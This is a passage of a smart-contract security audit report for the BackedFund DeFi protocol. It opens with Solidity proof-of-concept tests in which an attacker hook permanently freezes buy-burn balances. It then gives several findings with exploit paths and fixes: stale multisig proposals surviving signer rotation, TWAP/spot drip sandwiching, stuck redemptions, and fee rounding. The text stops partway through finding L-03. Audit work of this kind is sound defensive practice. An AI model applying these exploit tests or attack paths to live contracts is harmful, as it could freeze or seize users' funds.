import {LaunchMode, LaunchConfig, LaunchStatus} from "../../contracts/types/LaunchTypes.sol";

interface HA34Vm {
    function warp(uint256) external;
    function prank(address) external;
    function startPrank(address) external;
    function stopPrank() external;
}

/// @dev Constant-product quoter over `reserve` counter-asset units at price 1; hook fee 1% taken from input.
contract HA34ImpactQuoter is IV4Quoter {
    uint256 public reserve;
    constructor(uint256 r) { reserve = r; }
    function quoteExactInputSingle(QuoteExactSingleParams calldata p)
        external view returns (uint256 amountOut, uint256)
    {
        uint256 net = uint256(p.exactAmount) * 990_000 / 1_000_000;
        amountOut = net * reserve / (reserve + net);
        return (amountOut, 100_000);
    }
}

/// @dev Attacker hook: claim() pushes `amount` of the currency (pre-funded by the attacker) into the caller (the
ProjectFeeVault).
contract HA34AttackerHook {
    function claim(address currency, uint256 amount) external {}
    function claim(address currency) external returns (uint256 amount) {
        amount = IERC20(currency).balanceOf(address(this));
        IERC20(currency).transfer(msg.sender, amount);
    }
}

contract HookAudit34Test {
    HA34Vm internal constant vm = HA34Vm(address(uint160(uint256(keccak256("hevm cheat code")))));

    uint256 internal constant R = 9.69e18; // counter reserve of the launch pool (20 ETH hard cap * 19/20 * 51%)
    uint256 internal constant INTERVAL = 10 minutes;
    address internal constant CREATOR = address(0xC0FFEE);
    address internal constant TREASURY = address(0x7EA5);
    address internal constant KEEPER = address(0xBEEF01);
    address internal constant GUARDIAN = address(0x6A4D);
    address internal constant ATTACKER = address(0xA77AC4);

    uint256 internal ts; // manual clock

    ProjectSupportController psc;
    ProjectSupportExecutor executor;
    MockMintableToken usdc; MockMintableToken weth; MockMintableToken intermediate; MockMintableToken plazm;
    MockV4PoolManager manager; MockLaunchPoolCatalog catalog; C032_Hook hook; HA34ImpactQuoter quoter;
    MockERC20SwapRouter02 v3Router; MockProjectSupportRouteGuard guard;
    mapping(uint256 => MockMintableToken) tokens;

    // LaunchManager stub (used by setBuyBurnDailyAllocationBps)
    function getLaunch(uint256) external pure returns (LaunchConfig memory c) {
        c.creator = CREATOR;
        c.status = LaunchStatus.Finalized;
    }

    function _setUp() internal {
        ts = 1_700_000_000;
        vm.warp(ts);
        usdc = new MockMintableToken("USDC", "USDC");
        weth = new MockMintableToken("WETH", "WETH");
        intermediate = new MockMintableToken("E", "E");
        plazm = new MockMintableToken("P", "P");
        manager = new MockV4PoolManager();
        catalog = new MockLaunchPoolCatalog();
        hook = new C032_Hook();
        quoter = new HA34ImpactQuoter(R);
```

```
        v3Router = new MockERC20SwapRouter02();
        guard = new MockProjectSupportRouteGuard(address(usdc), address(weth), address(intermediate), address(plazm));
        psc = new ProjectSupportController(address(this), address(this), GUARDIAN);
        executor = new ProjectSupportExecutor(
            address(psc), address(catalog), address(manager), address(v3Router), address(quoter),
            address(guard), address(usdc), address(weth), address(intermediate), address(plazm)
        );
        psc.initializeSupportExecutor(address(executor));
        weth.mint(address(manager), 1e36);
    }

    function _newLaunch(uint256 id) internal {
        MockMintableToken t = new MockMintableToken("Proj", "PRJ");
        tokens[id] = t;
        catalog.setPool(id, address(t), address(weth), address(hook));
        (address c0, address c1) = address(t) < address(weth) ? (address(t), address(weth)) : (address(weth), address(t));
        manager.initialize(
            PoolKey(Currency.wrap(c0), Currency.wrap(c1), LPFeeLib.DYNAMIC_FEE_FLAG, catalog.tickSpacing(),
IHooks(address(hook))),
            uint160(1 << 96)
        );
        t.mint(address(manager), 1e36);
        psc.registerProject(id, address(t), CREATOR, LaunchMode.Standard);
        psc.setTreasuryVault(id, TREASURY);
    }

    function _warpTo(uint256 t) internal { ts = t; vm.warp(t); }
    function _advance(uint256 dt) internal { _warpTo(ts + dt); }

    function _yieldDeposit(uint256 id, uint256 amount) internal {
        weth.mint(TREASURY, amount);
        vm.startPrank(TREASURY);
        weth.approve(address(psc), amount);
        psc.depositYieldSupport(id, address(weth), amount, 0);
        vm.stopPrank();
    }

    function _exec(uint256 id) internal returns (bool ok, bytes32 reasonHash) {
        vm.prank(KEEPER);
        try psc.executeBuyBurn(id, address(weth), 0, ts + 1 hours) returns (uint256) {
            ok = true;
        } catch Error(string memory r) {
            reasonHash = keccak256(bytes(r));
        } catch {
            reasonHash = bytes32(uint256(1));
        }
    }

    bytes32 internal constant IMPACT = keccak256("SupportExecutor: V4 price impact");

    function _bal(uint256 id) internal view returns (uint256) { return psc.buyBurnBalance(id, address(weth)); }
    function _req(bool c, string memory m) internal pure { require(c, m); }
    function _setBps(uint256 id, uint16 bps) internal { vm.prank(CREATOR); psc.setBuyBurnDailyAllocationBps(id, bps); }

    // ─────────────────────────── test_exploit_3 ───────────────────────────
    /// Finding 3: bucket B (4.1x the ~0.099 WETH impact cap) left idle for 20 days -> every executeBuyBurn reverts
    /// on the executor impact cap, tranche only grows. Recovery honesty: setBuyBurnDailyAllocationBps(100)
    /// works for a mildly over-cap bucket (B <= ~5x cap, idle gap < 100 days) and FAILS for larger B or gap >= 100 days.
    function test_exploit_3() public {
        _setUp();
        uint256 t0 = ts;
        // control launch: identical bucket, executed on the first interval -> tranche is tiny and succeeds
        _newLaunch(10);
        _yieldDeposit(10, 0.4e18);
        _advance(INTERVAL);
        (bool okCtl,) = _exec(10);
        _req(okCtl, "control: small tranche must execute");

        // victim launches (all registered at t0-ish; fresh clocks)
        _warpTo(t0);
        _newLaunch(1); _newLaunch(2); _newLaunch(3); _newLaunch(4);
```

```
        uint256 B = 0.4e18;
        _yieldDeposit(1, B); _yieldDeposit(2, B); _yieldDeposit(3, 0.6e18); _yieldDeposit(4, B);

        // --- freeze: 2,880 idle intervals (20 days) -> gross = whole balance = 4.04x cap (~0.099 WETH)
        _warpTo(t0 + 2880 * INTERVAL + 5);
        (uint256 gross,,,) = psc.availableBuyBurn(1, address(weth));
        _req(gross == B, "tranche is the entire bucket at maximumIntervals");
        (bool ok1, bytes32 r1) = _exec(1);
        _req(!ok1 && r1 == IMPACT, "exec reverts on V4 price impact");
        _advance(30 days);
        (bool ok2, bytes32 r2) = _exec(1);
        _req(!ok2 && r2 == IMPACT, "still reverts 30 days later");
        _req(_bal(1) == B, "balance retained, nothing spendable");
        // a later honest deposit joins the frozen bucket
        _yieldDeposit(1, 0.01e18);
        (gross,,,) = psc.availableBuyBurn(1, address(weth));
        _req(gross == B + 0.01e18, "later deposits swept into the same over-cap tranche");
        (ok2, r2) = _exec(1);
        _req(!ok2 && r2 == IMPACT, "still frozen after extra deposit");

        // --- recovery (a): moderate B=0.4 (~4.1x cap), gap ~ 20 days (< 100 days): bps=100 rescues it
        _warpTo(t0 + 2880 * INTERVAL + 5);
        (ok1, r1) = _exec(2);
        _req(!ok1 && r1 == IMPACT, "launch2 frozen at 20 days");
        _setBps(2, 100);
        (bool recA,) = _exec(2);
        _req(recA, "RECOVERY WORKS for B <= ~5x cap and gap < 100 days");
        _req(_bal(2) == B - (B * 100 / 1_440_000) * 2880, "recovery spent only the reduced tranche (0.08 WETH)");

        // --- recovery (b): B=0.6 (6.2% of R, ~6.1x cap): bps=100 tranche = 0.12 > cap -> still frozen
        (ok1, r1) = _exec(3);
        _req(!ok1 && r1 == IMPACT, "launch3 frozen");
        _setBps(3, 100);
        (bool recB, bytes32 rB) = _exec(3);
        _req(!recB && rB == IMPACT, "RECOVERY FAILS for B > ~5x cap even at 1% bps");
        _req(_bal(3) == 0.6e18, "launch3 bucket still whole");

        // --- recovery (c): same B=0.4 as (a) but nobody notices for >100 days -> gross = whole balance again
        _warpTo(t0 + 101 days);
        _setBps(4, 100);
        (bool recC, bytes32 rC) = _exec(4);
        _req(!recC && rC == IMPACT, "RECOVERY FAILS once idle gap >= 100 days (maximumIntervals at 1%)");
        _req(_bal(4) == B, "launch4 bucket frozen");
    }

    // ──────────────────────────── test_exploit_4 ────────────────────────────
    /// Finding 4: attacker credits D over the cap into an idle project's bucket through collectTradingFees with
    /// an attacker hook. Boundary case: D below cap is harmless (executes); D slightly over cap is recoverable by the
    /// creator (bps=100); D above ~5x cap (~5% of counter reserve) is a permanent freeze of the bucket and of
    /// every later honest deposit.
    function test_exploit_4() public {
        _setUp();
        uint256 t0 = ts;
        _newLaunch(1); _newLaunch(2); _newLaunch(3);
        _warpTo(t0 + 2880 * INTERVAL + 5); // idle >= 20 days, bucket empty, checkpoint falls back to buyBurnStartedAt

        // (0) harmless donation under the cap: 0.05 WETH (0.52% of R) just executes
        uint256 dSmall = 0.05e18;
        _attackerCredit(1, dSmall);
        (bool ok0,) = _exec(1);
        _req(ok0, "sub-cap donation executes fine (no freeze)");

        // (1) modest over-cap donation: D = 0.2 WETH (~2.1% of R, ~2x cap) -> frozen, but creator recovers
        uint256 dMid = 0.2e18;
        _attackerCredit(2, dMid);
        _req(_bal(2) == dMid, "attacker credited D into buyBurnBalance with no checkpoint move");
        (bool okM, bytes32 rM) = _exec(2);
        _req(!okM && rM == IMPACT, "over-cap donation freezes the bucket");
        _setBps(2, 100);
        (bool recM,) = _exec(2);
        _req(recM, "RECOVERY WORKS for D ~2x cap at 20-day gap (0.2*2880/14400 = 0.04 WETH)");
```

```
        // (2) attacker-sized donation: D = 0.6 WETH (6.2% of R, ~6x cap) -> permanent freeze
        uint256 dBig = 0.6e18;
        _attackerCredit(3, dBig);
        (bool okB, bytes32 rB) = _exec(3);
        _req(!okB && rB == IMPACT, "big donation freezes");
        _setBps(3, 100);
        (bool recB, bytes32 rB2) = _exec(3);
        _req(!recB && rB2 == IMPACT, "RECOVERY FAILS for D ~6x cap: 0.6*2880/14400 = 0.12 WETH > cap");
        // creator tries the lowest setting again later; tranche only grows with time
        _advance(60 days);
        (recB, rB2) = _exec(3);
        _req(!recB && rB2 == IMPACT, "still frozen 60 days later");
        // honest yield deposit joins the frozen bucket and is frozen too
        _yieldDeposit(3, 1e18);
        (recB, rB2) = _exec(3);
        _req(!recB && rB2 == IMPACT, "honest deposit swept into frozen bucket");
        _req(_bal(3) == dBig + 1e18, "attacker donation + honest deposit both stuck");
    }

    function _attackerCredit(uint256 id, uint256 amount) internal {
        HA34AttackerHook h = new HA34AttackerHook();
        weth.mint(address(h), amount); // attacker funds D from its own balance
        vm.prank(ATTACKER);
        psc.collectTradingFees(id, 0, address(h), address(weth));
    }
}
```

Filed from the BackedFund stage-2 audit (captain-hook run, manually re-verified). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 21: Buy-burn tranche can grow past the executor's price-impact cap with no partial path, freezing the bucket (organically or via a fake-hook deposit). Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

M-07 ProtocolAuthority keeps a replaced signer's confirmations valid and proposals never expire, so one live signer can finish stale proposals

Source: GitHub issue #22
Severity: Medium

Description

Severity	Medium (reported: Medium)
Confidence	High (code confirmed)
Location	`ProtocolAuthority.sol:execute` / `replaceSigner`
Sources	Ours (two merged findings)
Class	AccessControl (V0)
Discovered via	skill-feynman-novel / access-control
Phase 3 verdict	true_positive
PoC	none

Description

What's wrong

The admin multisig needs two different signers to approve any action. When a signer is replaced, the approvals they already gave keep counting toward the two needed. Proposals also never expire and can't be cancelled. So if a key is compromised and rotated out, the proposals it left behind can still be finished by any single remaining signer. That breaks signer rotation, the one tool meant to recover from a compromised key.

How

`propose` (`ProtocolAuthority.sol:87-121`) stores `confirmations = 1` and `confirmedBy[id][msg.sender] = true`. `confirm` (`:123-131`) checks only that the new confirmer is a current signer who has not confirmed yet, then increments the same integer. `execute` (`:133-148`) is callable by anyone and only checks `proposal.confirmations >= REQUIRED_CONFIRMATIONS` and the data hash. It never checks that the confirming addresses are still signers. `replaceSigner` (`:150-156`) only flips the two `isSigner` entries and touches no proposal. The contract has no cancel, revoke, expiry, nonce or signer-epoch mechanism.

This contradicts `docs/CLIENT_PROTOCOL_GUIDE.md:434-446` ("a different configured signer supplies the second confirmation").

Impact

- **Protocol authority:** after rotating out a compromised signer, one later compromise of any current signer is enough to execute any proposal the old key left behind. Taking over the authority then takes two compromises spread over time, not two at once.
- **Everything authority-gated:** `replaceSigner` (taking a second seat), `setAdministrator` on both bond adapters, `ProjectSupportController.proposeAdapters`, `setEmergencyGuardian`, `disableNewLaunches`, `setGrowthTreasuryYieldBps`.

- **No on-chain fix:** defenders have no way to kill the stale proposal. Their only option is to execute a harmless proposal with the same target first, which doesn't work in general.
- Scope note: an attacker still needs two compromised keys at different times, and no outsider can trigger this alone. Severity is Medium because the bug is in the recovery mechanism itself.

Exploit path

1. The attacker compromises signer S1. S1 calls `propose(ProtocolAuthority, 0, replaceSigner(S2, attacker), Ordinary, 0)` and any other proposals (e.g. `setAdministrator(attacker)` on a bond adapter). Each has `confirmations = 1`.
2. Defenders notice. S2 and S3 propose, confirm and execute `replaceSigner(S1, S4)`. S1 is no longer a signer.
3. S1's proposals stay open with `confirmations = 1` and never expire.
4. Later, any single current signer (e.g. S2) is compromised and calls `confirm(staleId)`, bringing `confirmations` to 2.
5. Anyone calls `execute(staleId, data)`. `replaceSigner(S2, attacker)` gives the attacker two of three seats and full authority.

Recommendation

Invalidate outstanding approvals when the signer set changes, and give proposals an expiry and a cancel path.

```
uint256 public signerEpoch;

struct Proposal { /* ... */ uint256 epoch; uint64 createdAt; }

function propose(...) external onlySigner returns (uint256 proposalId) {
    // ...
    proposal.epoch = signerEpoch;
    proposal.createdAt = uint64(block.timestamp);
}

function execute(uint256 proposalId, bytes calldata data) external nonReentrant returns (bytes memory) {
    Proposal storage proposal = proposals[proposalId];
    require(proposal.epoch == signerEpoch, "ProtocolAuthority: stale signer set");
    require(block.timestamp <= proposal.createdAt + PROPOSAL_TTL, "ProtocolAuthority: expired");
    // ...
}

function replaceSigner(address previousSigner, address newSigner) external onlySelf {
    // ...
    unchecked { ++signerEpoch; } // all outstanding proposals become unexecutable
}

function cancel(uint256 proposalId) external onlySigner { /* mark cancelled */ }
```

An alternative is to recount confirmations at execute time from a stored confirmer list, filtered by `isSigner`.

Filed from the BackedFund stage-2 audit (captain-hook run, manually re-verified). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 22: ProtocolAuthority keeps a replaced signer's confirmations valid and proposals never expire, so one live signer can finish stale proposals. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

M-08 addDripLiquidity sizes tranches from the 30-minute TWAP but settles at live spot with no deviation check, so permissionless drips can be sandwiched

Source: GitHub issue #24
Severity: Medium

Description

Severity	Medium
Confidence	Medium (code trace)
Location	`LaunchPoolFactory.sol:addDripLiquidity` (:455-490), `_seedLiquidity` (:565-608)
Class	MEVEconomic (V0)
Scope	Full scope: the only callers are `BuiltOnPlazmLiquidityDrip` / `BuildAssetLiquidityDrip` (first recorded as stage-1 F-01)
Sources	External finding, verified against commit `07ea04f`
PoC	none
Related	#11 (pre-seed swaps poison the TWAP that `addDripLiquidity` trusts) — different root cause and fix

Description

What's wrong

The drip works out each liquidity tranche from a 30-minute average price, but Uniswap V4 charges the deposit at the pool's current price. Nothing checks that the two prices are close. Anyone can trigger a drip, so an attacker can push the price, trigger the drip, and trade back.

How

`addDripLiquidity` reads `twapTick = hook.consult(key, 30 minutes)` (`LaunchPoolFactory.sol:478`) and passes `sqrtPriceX96 = getSqrtRatioAtTick(twapTick)` into the unlock payload (`:479-487`). `_seedLiquidity` sizes

`liquidity` from that TWAP price, but `poolManager.modifyLiquidity` (`:584`) settles at the live `slot0` price. The only guard is `used0 <= amount0 && used1 <= amount1` (`:601-604`):

- A small spot move away from TWAP makes one side overshoot, so the tranche reverts `liquidity used too much`.
- A larger move in the right direction deposits the tranche at the manipulated ratio. The unused side is refunded, so less liquidity is added than the program budgeted.

`BuiltOnPlazmLiquidityDrip.executeProgram` (`:320`) and `BuildAssetLiquidityDrip.executeProgram` (`:326`) are permissionless, so the attacker controls timing.

Impact

- **Drip program / project LPs:** the attacker sandwiches each tranche. It is deposited at a manipulated price, and the attacker keeps the price difference when they swap back.
- **Liveness:** any third-party spot move away from the 30-minute TWAP makes tranches revert. An attacker can use this to grief the program cheaply.
- Scope note: the launch pool's LP fee is pinned to 0, so a sandwich costs only the 1% hook fee per leg. That bounds profitability to tranches that are large relative to pool depth.

Exploit path

1. A drip program has a tranche ready. `executeProgram` is permissionless.
2. The attacker swaps on the launch pool to move spot away from the 30-minute TWAP, staying within the range that doesn't trip `liquidity used too much`.
3. The attacker calls `executeProgram(launchId)`. The tranche is sized at TWAP and settled at the manipulated spot.
4. The attacker swaps back.

Recommendation

Read the live price and require it to be within a tight deviation of the TWAP before adding. Then size liquidity from the live price.

```
(uint160 spotSqrtPriceX96, int24 spotTick,,) = poolManager.getSlot0(key.toId());
int24 twapTick = IBackedFundFeeHook(launchPool.hook).consult(key, 30 minutes);
require(_absDiff(spotTick, twapTick) <= MAX_DRIP_TWAP_DEVIATION_TICKS, "Factory: drip spot deviates");
// pass spotSqrtPriceX96 (not the TWAP price) as seed.sqrtPriceX96
```

Filed from external findings, each re-verified against the source. Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 24: addDripLiquidity sizes tranches from the 30-minute TWAP but settles at live spot with no deviation check, so permissionless drips can be sandwiched. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

M-09 A canceled or never-accepted Bernard redemption leaves the position in RedemptionPending with no recovery path, locking the project's principal

Source: GitHub issue #25
Severity: Medium

Description

Severity	Medium
Confidence	High (code confirmed)
Location	`UniversalBondsAdapter.sol:requestPositionRedemption` (:412-454), `settlePositionRedemption` (:456-)
Class	StateMachine / fund lock (V0)
Sources	External finding, verified against commit `07ea04f`
PoC	none
Related	#18, #19 (other redemption-path issues; different root cause and fix)

Description

What's wrong

When the adapter asks Bernard to buy back a project's bonds, it unstakes the bonds and marks the position as "redeeming" before Bernard has accepted anything. The only way forward is for Bernard to accept the order. If Bernard cancels it, or never accepts it, the position has no way back to normal and no other exit. That project loses its principal payout and all future yield.

How

`requestPositionRedemption` withdraws the position's units from the reward pool (`UniversalBondsAdapter.sol:438`). It then sets `totalBondUnits -= units`, `position.bondUnits = 0`, `rewardDebtScaled = 0` and `state = RedemptionPending` (`:445-451`), and only then calls `redemption.create(data)` (`:452`). `settlePositionRedemption` requires `redemption.redeemData(uuid).status == Accepted` (`:467-472`).

`IBernardRedemption.RedeemStatus` has three states, `Pending`, `Accepted` and `Canceled` (`IBernardBonds.sol:22-26`). The adapter doesn't handle `Canceled` or a `Pending` that is never resolved: - No function moves a position from `RedemptionPending` back to `Active`. - A fresh `requestPositionRedemption` needs `state ==`

`Active` (`:418`) and `data.amountNfts == position.bondUnits`, which is now 0 (`:431`). - Any bonds Bernard returns to the adapter can't be re-staked, because the only reward-pool call left is `deposit(0)` in `_harvest` (`:582`). They earn nothing for any position. - `TreasuryVault.redeemPrincipal` needs the adapter position to be `RedemptionSettled` (`UniversalBondsAdapter.sol:483`, `TreasuryVault.sol:287-290`). - There is no administrator sweep, by design (`docs/UNIVERSAL_BONDS_ADAPTER.md`).

Impact

- **Creator / project treasury:** the 90% principal payout (`principalETH × 9_000 / 10_000`) can never be claimed, and the position earns no more yield. This is permanent.
- **Protocol accounting:** the position's units are gone from `totalBondUnits` but may sit on the adapter unstaked.
- Scope note: the trigger is a Bernard/DexFi-side cancel, expiry or non-acceptance. Bernard is a trusted outside party, so the likelihood is low to medium. But any order that doesn't settle has the same outcome, and the protocol has no way to recover.

Exploit path

1. The administrator calls `requestPositionRedemption(positionId, data)`. Units are withdrawn, `bondUnits = 0`, `state = RedemptionPending`, and `redemption.create` is called.
2. Bernard cancels the order (`status = Canceled`), or leaves it `Pending` forever.
3. `settlePositionRedemption` reverts `redemption not accepted`. `requestPositionRedemption` reverts `position not active`. `redeemPrincipal` reverts `redemption not settled`.
4. The position is stuck permanently.

Recommendation

Add an administrator-callable recovery for a cancelled (or stale `Pending`) order. It should put the returned units back into the reward pool and restore the position.

```
function recoverCanceledRedemption(uint256 positionId, uint256 units) external onlyAdministrator nonReentrant {
    Position storage position = _positions[positionId];
    require(position.state == PositionState.RedemptionPending, "UniversalBondsAdapter: not pending");
    (, , , , , IBernardRedemption.RedeemStatus status) = redemption.redeemData(position.redemptionUuid);
    require(status == IBernardRedemption.RedeemStatus.Canceled, "UniversalBondsAdapter: not canceled");
    _harvest();
    rewardPool.deposit(units);               // re-stake the returned NFTs' units
    position.bondUnits = units;
    totalBondUnits += units;
    position.rewardDebtScaled = units * cumulativeYieldPerBondUnit;
    position.redemptionUuid = 0;
    position.redemptionPayoutETH = 0;
    position.state = PositionState.Active;
}
```

Alternatively, keep the units staked until settlement and withdraw them only in `settlePositionRedemption`, once the status is `Accepted`.

Filed from external findings, each re-verified against the source. Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 25: A canceled or never-accepted Bernard redemption leaves the position in RedemptionPending with no recovery path, locking the project's principal. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

Low Findings

L-01 Exact-input swap fee floors instead of ceiling, undercharging trader by up to 1 wei

Source: GitHub issue #8
Severity: Low

Description

Severity	Low (reported: Low)
Confidence	High
Location	`BackedFundFeeHook.sol:beforeSwap`
Sources	Ours
Class	FeeManipulation (V2)
Discovered via	skill-feynman-novel / rounding-asymmetry
Phase 3 verdict	true_positive
PoC	none

Description

What's wrong

The swap fee a trader owes gets rounded in the trader's favor on one kind of swap and in the protocol's favor on the other, so the protocol quietly under-collects a sliver of fee revenue every time someone swaps with an exact input amount.

How

`beforeSwap` and `afterSwap` both branch on `exactInput` to compute the fee the trader owes before `poolManager.take` debits it. The exact-output branch calls `_mulDivRoundingUp(specifiedAmount, totalPips, PIP_DENOMINATOR - totalPips)` — an explicit ceiling division that rounds the debit up, favoring the protocol. The exact-input branch instead computes `(specifiedAmount * totalPips) / PIP_DENOMINATOR` — plain Solidity floor division — for the same conceptual quantity. With `totalPips` fixed at `MAX_TOTAL_FEE_PIPS = 10_000` and `PIP_DENOMINATOR = 1_000_000` (enforced by `_configure`'s `require(total == MAX_TOTAL_FEE_PIPS, ...)`, so this is never a zero-fee pool), the exact-input formula floors `specifiedAmount / 100`, discarding the remainder whenever `specifiedAmount % 100 != 0` — roughly 99% of input amounts. `afterSwap` repeats the identical pattern on `counterAmount`.

Impact

- **Protocol fee recipients** (Growth Treasury, creator, buy/burn, LP support buckets) collectively under-collect up to 1 wei of `feeCurrency` per exact-input swap whenever `specifiedAmount % 100 != 0` (~99% of swaps), at the fixed `totalPips = 10,000 / PIP_DENOMINATOR = 1,000,000` (1%) rate.

- Scope note: the drift is bounded at <1 wei per call with no shared accumulator across calls (unlike Balancer V2's invariant-D compounding, where the same class of bug fed a pool-wide share-price computation) — per-swap gas cost vastly exceeds the sub-wei benefit, so this is a fee-revenue leak, not an attacker-profitable extraction path.

Expected delta: <1 wei of feeCurrency retained by the trader per qualifying exact-input swap (dust; no attacker-extractable profit given ordinary swap gas cost)

Exploit path

1. Any permissionless swapper calls `PoolManager.swap` (directly or through a router) on a BackedFund-hooked pool with `amountSpecified < 0` (exact input) and a `specifiedAmount` such that `specifiedAmount % 100 != 0`.
2. `beforeSwap` computes `feeAmount = floor(specifiedAmount * 10_000 / 1_000_000)`, discarding the fractional remainder instead of rounding it up the way the exact-output branch does two lines later.
3. `poolManager.take(specifiedCurrency, address(this), feeAmount)` debits exactly this under-rounded amount from the swap's accounting — the trader pays `feeAmount` instead of `ceil(feeAmount)`.
4. `_distribute` splits the already-short `feeAmount` across the four recipients; the shortfall is baked in before the proportional split ever runs.
5. The same underpayment recurs independently on every exact-input swap through this pool (and identically via `afterSwap`'s exact-input branch when the fee currency is the unspecified side), with no shared accumulator carrying the drift forward between swaps.

Recommendation

Round the exact-input fee debit up, matching the exact-output branch's existing `_mulDivRoundingUp` convention, so both legs of the fee-debit computation favor the protocol identically in both `beforeSwap` and `afterSwap`:

```
uint256 feeAmount = exactInput
    ? _mulDivRoundingUp(specifiedAmount, totalPips, PIP_DENOMINATOR)
    : _mulDivRoundingUp(specifiedAmount, totalPips, PIP_DENOMINATOR - totalPips);
```

Apply the identical replacement in `afterSwap` (substitute `counterAmount` for `specifiedAmount`).

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 8: Exact-input swap fee floors instead of ceiling, undercharging trader by up to 1 wei. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-02 uint64 truncation of the effective LP unlock time makes late finalization revert for far-future lock timestamps

Source: GitHub issue #9
Severity: Low

Description

Severity	Low (reported: Low)
Confidence	Medium
Location	`LaunchManager.sol:_effectiveLpUnlock`
Sources	Ours + pasted (external) — duplicate: "48-month LP lock near uint64 max blocks finalization". The same unchecked cast exists in `_effectiveTreasuryUnlock`; fix both.
Class	DeltaAccounting (V0)
Discovered via	freeform-adversarial
Phase 3 verdict	true_positive
PoC	none

Description

What's wrong

When a sale finishes late, the protocol extends the LP lock so the creator's promised lock length is kept. That extension is computed in full precision and then squeezed into a 64-bit timestamp without a range check. For a launch whose unlock timestamp sits near the 64-bit maximum but is not labelled permanent, the value wraps to a date in 1970, the pool factory rejects it, and the launch can no longer be finalized, leaving buyers waiting for the 7-day cancellation path.

How

`LaunchManager._effectiveLpUnlock` (`LaunchManager.sol:775-779`) returns `uint64(Math.max(launch.lpUnlockTime, block.timestamp + duration))` with `duration = lpUnlockTime - endTime`. Explicit `uint64(...)` casts truncate silently in 0.8.

`LaunchEconomicsPolicy._validateLpCommitment` (`LaunchEconomicsPolicy.sol:229-248`) sets no upper bound for `Locked48Months`, and `defaultTerms` maps any `lpUnlockTime != type(uint64).max` to a timed commitment (`:261-268`); `createLaunchWithTerms` also accepts `Locked48Months` with `lpUnlockTime == type(uint64).max`.

When finalization runs at `endTime + δ` with `lpUnlockTime + δ > 2^64 - 1`, the cast wraps to a value below `block.timestamp`.

That wrapped value then fails `LaunchPoolFactory.seedLiquidity`'s `require(unlockTime > block.timestamp)` check (`LaunchPoolFactory.sol:348`), so `finalizeLaunch` never completes for that launch.

Impact

- **Buyers:** ETH locked for 7 days after `endTime`, then only refundable; the soft-cap-successful launch cannot finalize.
- **Creator:** a launch configured with an effectively-permanent timed lock is unfinalizable unless the hard cap fills before `endTime`.

Exploit path

1. Creator calls `createLaunchWithTerms` with `lpCommitment = Locked48Months` and `lpUnlockTime = type(uint64).max` (or `createLaunch` with `lpUnlockTime = type(uint64).max - 1`).
2. The sale reaches soft cap but not hard cap; `finalizeLaunch` can only run after `endTime`.
3. At `endTime + 2s`, `_effectiveLpUnlock` computes `2^64 + 1`, casts to `uint64` → `1`.
4. `seedLiquidity` reverts on `unlockTime > block.timestamp`; every finalize attempt reverts.
5. Buyers wait until `endTime + 7 days` for `cancelUnfinalizedLaunch`, then refund; the successful sale is lost.

Recommendation

Clamp before casting, or cap `lpUnlockTime` inside `LaunchEconomicsPolicy._validateLpCommitment` for timed commitments.

```
uint256 effective = Math.max(launch.lpUnlockTime, block.timestamp + duration);
return uint64(Math.min(effective, type(uint64).max));
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 9: uint64 truncation of the effective LP unlock time makes late finalization revert for far-future lock timestamps. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-03 cancelUnfinalizedLaunch ignores the LaunchManager pause, so a pause spanning endTime+7 days lets anyone fail a soft-cap-successful sale

Source: GitHub issue #10
Severity: Low

Description

Severity	Low (reported: Low)
Confidence	Medium
Location	`LaunchManager.sol:cancelUnfinalizedLaunch`
Sources	Ours
Class	AccessControl (V0)
Discovered via	freeform-adversarial
Phase 3 verdict	true_positive
PoC	none

Description

What's wrong

During an emergency pause the protocol blocks finalization of finished sales, but it does not block cancelling them. If a pause lasts past the 7-day grace window, any address can mark a sale that met its soft cap as failed, and the launch can never be finalized afterwards.

How

